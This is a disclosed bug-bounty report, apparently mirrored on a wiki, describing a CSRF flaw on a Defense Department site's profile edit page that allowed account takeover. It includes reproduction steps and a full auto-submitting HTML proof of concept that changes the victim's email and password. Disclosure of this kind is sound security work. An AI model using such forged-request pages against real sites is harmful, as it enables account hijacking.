Skip to content
CSRF Disclosed report Beginner

CSRF leads to Account takeover

The account profile edit endpoint lacked CSRF protection, so an attacker could make a logged-in victim submit a form that changed the victim's email and password. This allowed the attacker to take over the account.

br0x1337 Follow

Originally disclosed on HackerOne

  • Triaged in 19 hours
  • Fixed in 13 days
  • Disclosed after 3 months

Description: During my search in this domain I found it vulnerable to CSRF so I tried to escalate it Account takeover and I succeed

Impact

Account takeover via CSRF

System Host(s)

███████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

Vulnerable domain and endpoint : https://██████████/account/profile/edit

  1. Click on this URL: https://█████████/account/register and fill in the required fields.
  2. You will be instructed to check your inbox for a verification email, but you can avoid this step and log in using the username and password you created on the registration page.
  3. Navigate to this endpoint https://███████/account/profile/edit and attempt to modify the first name and email and password.
  4. Observe this in the history of Burp Suite: https://███/account/profile/edit.
  5. You can notice there is no protection against CSRF on this endpoint.
  6. Executed the proof of concept (POC), and it worked.

##POC

<html>

  <!-- CSRF PoC - generated by Burp Suite Professional -->

  <body>

    <form action="https://████████/account/profile/edit" method="POST">

      <input type="hidden" name="username" value="hacker" />

      <input type="hidden" name="password" value="" />

      <input type="hidden" name="cpassword" value="" />

      <input type="hidden" name="email" value="mojejas248&#64;esterace&#46;com" />

      <input type="hidden" name="save" value="Save" />

      <input type="submit" value="Submit request" />

    </form>

    <script>

      history.pushState('', '', '/');

      document.forms[0].submit();

    </script>

  </body>

</html>

Suggested Mitigation/Remediation Actions

The original report as published on HackerOne, by br0x1337. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could take over a victim's account by changing their email and password through CSRF.

What the attacker needed

Victim is logged in; victim visits attacker page

How it was found

  1. Register a new account and fill in the required fields.
  2. Skip email verification and log in with the created username and password.
  3. Go to the account profile edit endpoint and try to change the first name, email and password.
  4. In Burp Suite history, see the profile edit request.
  5. Notice that the endpoint has no CSRF protection.
  6. Run the proof of concept and observe that it worked.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

CSRF (Cross-Site Request Forgery) is when a malicious website makes a logged-in user's browser send a request to another site without the user knowing. Here, the profile edit page accepted changes without checking that the request really came from the site itself, so an attacker could change the victim's email and password and then log in as them.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.